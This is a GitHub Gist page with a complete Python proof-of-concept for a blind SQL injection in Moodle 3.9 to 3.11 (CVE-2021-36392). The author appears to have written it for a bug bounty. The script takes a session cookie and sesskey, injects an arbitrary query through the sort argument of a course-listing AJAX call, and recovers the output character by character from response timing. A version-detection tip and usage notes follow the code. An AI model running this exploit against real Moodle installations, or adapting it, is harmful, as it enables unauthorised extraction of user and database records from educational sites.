Last active
February 7, 2024 20:31
-
-
Save luukverhoeven/32614f85681e47bd66b9f6167beb2773 to your computer and use it in GitHub Desktop.
Moodle blind sql inject PoC 2021 - CVE-2021-36392 (3.11, 3.10 to 3.10.4, 3.9 to 3.9.7 and earlier unsupported versions)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# Version 1.0 - Python 2.7+ Author Luuk Verhoeven | |
# BugBounty program (https://www.intigriti.com/) - MOODLE-WWXPVFWL | |
# Example usage | |
# ╰─❯ python3.9 bsqli.py -host "somehost.nl" -key "0hGdVB3DCa" -ses "oga7d5b5kijiv67oriog0C0h0s" -q "(select lastname from mdl_user where id = 2 limit 1)" | |
import requests | |
from urllib3.exceptions import InsecureRequestWarning | |
import sys | |
import time | |
import argparse | |
print("Moodle BSQLI PoC for Moodle 3.9.x, 3.10.x and 3.11.x") | |
print("Security Researcher: Luuk Verhoeven") | |
print(" ") | |
parser = argparse.ArgumentParser(description='Moodle BSQLI PoC for (Moodle 3.9.x, 3.10.x and 3.11.x)') | |
parser.add_argument('-host','--hostname', help='The hostname of the Moodle environment | example moodle.com', required=True) | |
parser.add_argument('-key','--sesskey', help='The sesskey can be found after login M.cfg.sesskey or HTML body | example 0hGdVb3DCa', required=True) | |
parser.add_argument('-ses','--session', help='The MoodleSession value can be found in The Cookie MoodleSession | example oga7d5b5kijiv67oriog0c0h1s', required=True) | |
parser.add_argument('-q','--query', help='The query to execute | example "(select lastname from mdl_user where id = 2 limit 1)"', required=True) | |
args = parser.parse_args() | |
# Fix for invalid SSL warnings. | |
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) | |
# Params. | |
hostname=args.hostname | |
sesskey=args.sesskey | |
moodlesession=args.session | |
query=args.query | |
# TODO check if query has . or , in it | |
# Sleep delay | |
interval=1 | |
maxlength=100 | |
# Start output | |
outp="" | |
print("Query: " + query) | |
url = "https://" + hostname + ":443/lib/ajax/service.php?sesskey=" + sesskey + "&info=core_course_get_enrolled_courses_by_timeline_classification" | |
headers = { | |
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/MoodleExploit.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36", | |
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", | |
"Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", | |
"Cookie": 'MoodleSession=' + moodlesession + ';', | |
"Host": hostname, | |
"Content-Type": "application/json" | |
} | |
while True: | |
try: | |
for i in range(1,maxlength): | |
current_time=time.time() | |
jsondata=[{"index": 0, "methodname": "core_course_get_enrolled_courses_by_timeline_classification" , "args": { | |
"offset" : 0, | |
"limit" : 1, | |
"classification" : "inprogress", | |
"sort" : "id AND (select CASE WHEN ((select length(" + query + "))="+str(i)+") THEN (sleep(" + str(interval) + ")) ELSE 2 END)" | |
}}] | |
response=requests.post(url, headers=headers, json=jsondata , verify=False).text | |
# Enable if you want see the response. | |
print(response) | |
response_time=time.time() | |
time_taken=response_time-current_time | |
print("Time: "+str(time_taken)) | |
if time_taken > interval: | |
print("Length of DB query is : "+str(i)) | |
length=i+1 | |
break | |
i=i+1 | |
print("\n") | |
# Obtaining query output | |
# Maybe add _ but is also special char in MySql | |
# https://www.w3schools.com/sql/sql_wildcards.asp | |
# Can't use dot or comma by Moodle. | |
print("BruteForcing BSQLI (. or , not allowed)\n") | |
# TODO length = 100 error! | |
charset="abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ$*!:;'}{[]+()/\><`~@-_" | |
for i in range(1,length): | |
for char in charset: | |
current_time=time.time() | |
jsondata=[{"index": 0, "methodname": "core_course_get_enrolled_courses_by_timeline_classification" , "args": { | |
"offset" : 0, | |
"limit" : 1, | |
"classification" : "inprogress", | |
"sort" : "id AND (select CASE WHEN (" + query + " LIKE BINARY '" + outp + "=" + char + "%' ESCAPE '=') THEN (sleep(" + str(interval) + ")) ELSE 2 END)" | |
}}] | |
response=requests.post(url, headers=headers, json=jsondata, verify=False).text | |
response_time=time.time() | |
time_taken=response_time-current_time | |
# print("Time: ("+char+")"+str(time_taken) + " (select CASE WHEN ("+query+" LIKE BINARY '"+outp+"="+char+"%' ESCAPE '=') THEN (sleep(1)) ELSE 2 END)") | |
if time_taken > interval: | |
print("Found '" + char + "'") | |
outp=outp+"=" + char | |
print("= '" + outp.replace("=", "") + "'") | |
break | |
i=i+1 | |
print("QUERY output : " + outp.replace("=", "")) | |
sys.exit() | |
except KeyboardInterrupt: | |
print("Exit output : " + outp.replace("=", "")) | |
break |
Fix issue python requests (ModuleNotFoundError: No module named 'requests')
pip3 install requests
Simple way to detect Moodle version:
/mod/forum/upgrade.txt
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Sample queries
All queries will work if they don't have a , or . in it
Usage
Important note: The given user needs to have courses in their course overview.